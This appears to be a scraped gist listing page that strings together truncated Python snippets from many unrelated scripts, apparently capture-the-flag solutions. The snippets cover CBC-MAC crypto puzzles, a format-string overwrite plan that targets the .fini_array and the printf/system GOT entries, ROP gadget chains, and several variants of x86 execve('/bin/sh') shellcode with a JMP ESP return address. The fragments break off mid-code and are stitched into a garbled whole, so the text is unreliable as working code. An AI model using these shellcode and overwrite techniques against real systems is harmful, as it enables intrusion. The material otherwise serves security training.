Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/env python3
import os, binascii, struct
from Crypto.Cipher import AES
pad = lambda m: m + bytes([16 - len(m) % 16] * (16 - len(m) % 16))
def haggis(m):
crypt0r = AES.new(bytes(0x10), AES.MODE_CBC, bytes(0x10))
return crypt0r.encrypt(len(m).to_bytes(0x10, 'big') + pad(m))[-0x10:]
target = os.urandom(0x10)
#!/usr/bin/python
import sys
import struct
import binascii
f = open("result.bin")
data = bytearray(f.read())
f.close()
#!/usr/bin/python
# vulnerable overwrite is at
# overwrite is at .fini_array
# 0x08049934 & 36 (half-write each)
# main location is 0x080485ED
# printf got is 0x08049a38
# system got is 0x08049a48
# system@PLT = 0x8048496
#!/usr/bin/python
# shopping:
# laundry detergent
import string
import sys
key = [0] * 27
data = "805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9"
#!/usr/bin/python
import math
def isqrt(n):
x = n
y = (x + 1) // 2
while y < x:
x = y
y = (x + n // x) // 2
#!/usr/bin/python
import sys
print " [1] stage 1: rebuild encoding table with key = 0xd6"
line = "5a1f4ef6f88630f04cb7cae5892a1de416f53a27288d4009036f3699afaedbef15e78e63069c569a31e664b558954904eedf7e0bb1729676ad23b02fb2a77a"
alpha = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
n = 2
#!/usr/bin/python
import struct
ROP_REP = struct.pack("<L",0x0804847a)
ROP_POP_EBX = struct.pack("<L",0x08048395)
ROP_BREAK = struct.pack("<L",0xCCCCCCCC)
ROP_READ_FLAG = struct.pack("<L",0x08048569) # RET
ROP_READFD_FLAG_ARG2= struct.pack("<L",0x78563412)
ROP_READ_FLAG_ARG = struct.pack("<L",0xBADBEEEF)
#!/usr/bin/python
# PLOTTING
# JMPESP = "\xBB\xBB\xBB\xBB"
JMPESP = "\x9f\x85\x04\x08"
FORWARD = "\xEB\xF6\xCC\xCC"
# PAYLOAD = "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x90"
# PAYLOAD = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x90"
PAYLOAD = "\x31\xc0\x89\xc2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\xCC"
# PAYLOAD = "\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xCC\xCC\xCC\xCC"
import os
import struct
import marshal
import zlib
import sys
import imp
import types
class CTOCEntry:
def __init__(self, position, cmprsdDataSize, uncmprsdDataSize, cmprsFlag, typeCmprsData, name):
#!/usr/bin/python
import string
import zlib
import os
import sys
base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
crc32_array = {}